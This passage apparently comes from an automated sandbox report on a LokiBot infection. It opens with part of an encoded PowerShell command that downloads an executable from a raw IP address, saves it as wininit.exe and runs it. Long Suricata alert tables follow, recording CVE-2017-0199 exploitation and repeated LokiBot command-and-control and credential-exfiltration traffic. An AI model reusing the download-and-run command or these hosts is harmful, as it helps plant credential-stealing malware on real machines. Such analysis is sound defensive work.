AgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3488, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline", ProcessId: 3756, ProcessName: csc.exe

Suricata Signatures

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:01.107297+0100	2024197	1	A Network Trojan was detected	66.63.187.231	80	192.168.2.22	49163	TCP

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:01.107173+0100	2024449	1	Attempted User Privilege Gain	192.168.2.22	49163	66.63.187.231	80	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:09.357697+0100	2022050	1	A Network Trojan was detected	66.63.187.231	80	192.168.2.22	49164	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:09.456799+0100	2022051	1	A Network Trojan was detected	66.63.187.231	80	192.168.2.22	49164	TCP

ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:17.823731+0100	2024312	1	A Network Trojan was detected	192.168.2.22	49165	94.156.177.41	80	TCP
2024-11-20T11:08:18.691490+0100	2024312	1	A Network Trojan was detected	192.168.2.22	49166	94.156.177.41	80	TCP

ET MALWARE LokiBot Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:17.124071+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49165	94.156.177.41	80	TCP
2024-11-20T11:08:17.934139+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49166	94.156.177.41	80	TCP
2024-11-20T11:08:18.846126+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49167	94.156.177.41	80	TCP
2024-11-20T11:08:19.737168+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T11:08:20.648933+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T11:08:21.561435+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T11:08:22.587777+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T11:08:23.789922+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T11:08:24.629607+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T11:08:25.550254+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T11:08:26.451548+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49175	94.156.177.41	80	TCP
2024-11-20T11:08:27.342170+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T11:08:28.290956+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T11:08:29.162280+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T11:08:30.056656+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.41	80	TCP
2024-11-20T11:08:30.942889+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.41	80	TCP
2024-11-20T11:08:31.861944+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.41	80	TCP
2024-11-20T11:08:32.814812+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T11:08:33.725738+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T11:08:34.631910+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.41	80	TCP
2024-11-20T11:08:35.612589+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T11:08:36.666299+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T11:08:37.600393+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T11:08:38.858062+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T11:08:39.816478+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T11:08:40.691052+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T11:08:41.600005+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T11:08:42.470301+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T11:08:43.523104+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T11:08:44.560565+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T11:08:45.440851+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T11:08:46.326513+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T11:08:47.362901+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T11:08:48.429055+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T11:08:49.331075+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T11:08:50.269289+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T11:08:51.465535+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T11:08:52.406148+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T11:08:53.449322+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T11:08:54.344079+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T11:08:55.469398+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T11:08:56.364430+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T11:08:57.229777+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T11:08:58.136926+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T11:08:59.170582+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T11:09:00.196735+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T11:09:01.097365+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T11:09:01.972570+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T11:09:02.864900+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T11:09:03.749038+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T11:09:04.621438+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T11:09:05.555632+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T11:09:06.505715+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T11:09:07.388227+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T11:09:08.631914+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T11:09:09.510263+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T11:09:10.381526+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T11:09:11.269627+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T11:09:12.154909+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T11:09:13.118072+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T11:09:14.021635+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T11:09:15.054347+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T11:09:15.957636+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T11:09:16.974548+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T11:09:17.855870+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T11:09:19.681406+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T11:09:20.573695+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T11:09:21.471180+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T11:09:22.364648+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T11:09:23.410559+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T11:09:24.567819+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T11:09:26.583371+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T11:09:27.798263+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T11:09:28.872433+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T11:09:29.853943+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T11:09:30.933082+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T11:09:31.828472+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T11:09:32.713977+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T11:09:33.926911+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T11:09:34.827985+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T11:09:35.811112+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T11:09:36.907516+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T11:09:37.827332+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T11:09:38.717822+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T11:09:39.652336+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.41	80	TCP
2024-11-20T11:09:40.609403+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.41	80	TCP
2024-11-20T11:09:41.549340+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49251	94.156.177.41	80	TCP
2024-11-20T11:09:42.611715+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49252	94.156.177.41	80	TCP
2024-11-20T11:09:43.638686+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49253	94.156.177.41	80	TCP
2024-11-20T11:09:44.672058+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49254	94.156.177.41	80	TCP
2024-11-20T11:09:45.977790+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49255	94.156.177.41	80	TCP
2024-11-20T11:09:47.076413+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49256	94.156.177.41	80	TCP
2024-11-20T11:09:48.084264+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49257	94.156.177.41	80	TCP
2024-11-20T11:09:48.976620+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49258	94.156.177.41	80	TCP
2024-11-20T11:09:49.991081+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49259	94.156.177.41	80	TCP
2024-11-20T11:09:50.896158+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49260	94.156.177.41	80	TCP
2024-11-20T11:09:51.906530+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49261	94.156.177.41	80	TCP
2024-11-20T11:09:53.992288+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49262	94.156.177.41	80	TCP
2024-11-20T11:09:55.237642+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49263	94.156.177.41	80	TCP
2024-11-20T11:09:56.312045+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49264	94.156.177.41	80	TCP
2024-11-20T11:09:57.430146+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49265	94.156.177.41	80	TCP
2024-11-20T11:09:58.398091+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49266	94.156.177.41	80	TCP
2024-11-20T11:09:59.662601+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49267	94.156.177.41	80	TCP
2024-11-20T11:10:00.565538+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49268	94.156.177.41	80	TCP
2024-11-20T11:10:01.472851+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49269	94.156.177.41	80	TCP
2024-11-20T11:10:02.341419+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49270	94.156.177.41	80	TCP
2024-11-20T11:10:03.579344+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49271	94.156.177.41	80	TCP
2024-11-20T11:10:04.613405+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49272	94.156.177.41	80	TCP
2024-11-20T11:10:05.653629+0100	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49273	94.156.177.41	80	TCP

ET MALWARE LokiBot Fake 404 Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:19.583567+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49167	TCP
2024-11-20T11:08:20.491622+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49168	TCP
2024-11-20T11:08:21.404863+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49169	TCP
2024-11-20T11:08:22.431805+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49170	TCP
2024-11-20T11:08:23.382907+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49171	TCP
2024-11-20T11:08:24.482563+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49172	TCP
2024-11-20T11:08:25.387666+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49173	TCP
2024-11-20T11:08:26.303597+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49174	TCP
2024-11-20T11:08:27.194081+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49175	TCP
2024-11-20T11:08:28.097656+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49176	TCP
2024-11-20T11:08:29.028327+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49177	TCP
2024-11-20T11:08:29.907682+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49178	TCP
2024-11-20T11:08:30.805867+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49179	TCP
2024-11-20T11:08:31.714780+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49180	TCP
2024-11-20T11:08:32.675345+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49181	TCP
2024-11-20T11:08:33.582195+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49182	TCP
2024-11-20T11:08:34.487728+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49183	TCP
2024-11-20T11:08:35.465753+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49184	TCP
2024-11-20T11:08:36.527085+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49185	TCP
2024-11-20T11:08:37.416957+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49186	TCP
2024-11-20T11:08:38.495121+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49187	TCP
2024-11-20T11:08:39.680093+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49188	TCP
2024-11-20T11:08:40.555349+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49189	TCP
2024-11-20T11:08:41.459392+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49190	TCP
2024-11-20T11:08:42.336116+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49191	TCP
2024-11-20T11:08:43.380664+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49192	TCP
2024-11-20T11:08:44.421860+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49193	TCP
2024-11-20T11:08:45.302895+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49194	TCP
2024-11-20T11:08:46.182741+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49195	TCP
2024-11-20T11:08:47.207849+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49196	TCP
2024-11-20T11:08:48.285688+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49197	TCP
2024-11-20T11:08:49.173575+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49198	TCP
2024-11-20T11:08:50.099688+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49199	TCP
2024-11-20T11:08:51.152685+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49200	TCP
2024-11-20T11:08:52.244531+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49201	TCP
2024-11-20T11:08:53.300040+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49202	TCP
2024-11-20T11:08:54.194268+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49203	TCP
2024-11-20T11:08:55.085830+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49204	TCP
2024-11-20T11:08:56.219924+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49205	TCP
2024-11-20T11:08:57.094558+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49206	TCP
2024-11-20T11:08:58.002455+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49207	TCP
2024-11-20T11:08:59.032141+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49208	TCP
2024-11-20T11:09:00.055343+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49209	TCP
2024-11-20T11:09:00.935498+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49210	TCP
2024-11-20T11:09:01.835581+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49211	TCP
2024-11-20T11:09:02.716563+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49212	TCP
2024-11-20T11:09:03.602441+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49213	TCP
2024-11-20T11:09:04.479679+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49214	TCP
2024-11-20T11:09:05.416646+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49215	TCP
2024-11-20T11:09:06.310839+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49216	TCP
2024-11-20T11:09:07.240286+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49217	TCP
2024-11-20T11:09:08.145630+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49218	TCP
2024-11-20T11:09:09.369820+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49219	TCP
2024-11-20T11:09:10.241617+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49220	TCP
2024-11-20T11:09:11.120984+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49221	TCP
2024-11-20T11:09:12.017444+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49222	TCP
2024-11-20T11:09:12.950526+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49223	TCP
2024-11-20T11:09:13.871527+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49224	TCP
2024-11-20T11:09:14.788393+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49225	TCP
2024-11-20T11:09:15.791292+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49226	TCP
2024-11-20T11:09:16.817569+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49227	TCP
2024-11-20T11:09:17.709675+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49228	TCP
2024-11-20T11:09:19.527073+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49229	TCP
2024-11-20T11:09:20.425799+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49230	TCP
2024-11-20T11:09:21.322527+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49231	TCP
2024-11-20T11:09:22.223852+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49232	TCP
2024-11-20T11:09:23.259068+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49233	TCP
2024-11-20T11:09:24.409463+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49234	TCP
2024-11-20T11:09:26.573856+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49235	TCP
2024-11-20T11:09:27.503716+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49236	TCP
2024-11-20T11:09:28.606457+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49237	TCP
2024-11-20T11:09:29.686788+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49238	TCP
2024-11-20T11:09:30.608399+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49239	TCP
2024-11-20T11:09:31.688133+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49240	TCP
2024-11-20T11:09:32.562183+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49241	TCP
2024-11-20T11:09:33.610429+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49242	TCP
2024-11-20T11:09:34.681360+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49243	TCP
2024-11-20T11:09:35.675754+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49244	TCP
2024-11-20T11:09:36.757976+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49245	TCP
2024-11-20T11:09:37.673948+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49246	TCP
2024-11-20T11:09:38.574890+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49247	TCP
2024-11-20T11:09:39.504812+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49248	TCP
2024-11-20T11:09:40.474031+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49249	TCP
2024-11-20T11:09:41.398933+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49250	TCP
2024-11-20T11:09:42.310054+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49251	TCP
2024-11-20T11:09:43.487717+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49252	TCP
2024-11-20T11:09:44.514314+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49253	TCP
2024-11-20T11:09:45.560204+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49254	TCP
2024-11-20T11:09:46.843780+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49255	TCP
2024-11-20T11:09:47.813495+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49256	TCP
2024-11-20T11:09:48.835847+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49257	TCP
2024-11-20T11:09:49.850273+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49258	TCP
2024-11-20T11:09:50.744961+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49259	TCP
2024-11-20T11:09:51.771158+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49260	TCP
2024-11-20T11:09:52.649859+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49261	TCP
2024-11-20T11:09:54.882822+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49262	TCP
2024-11-20T11:09:56.167364+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49263	TCP
2024-11-20T11:09:57.293293+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49264	TCP
2024-11-20T11:09:58.181717+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49265	TCP
2024-11-20T11:09:59.127573+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49266	TCP
2024-11-20T11:10:00.419064+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49267	TCP
2024-11-20T11:10:01.332375+0100	2025483	1	A Network Trojan was detected	94.156.177.41	80	192.168.2.22	49268	TCP
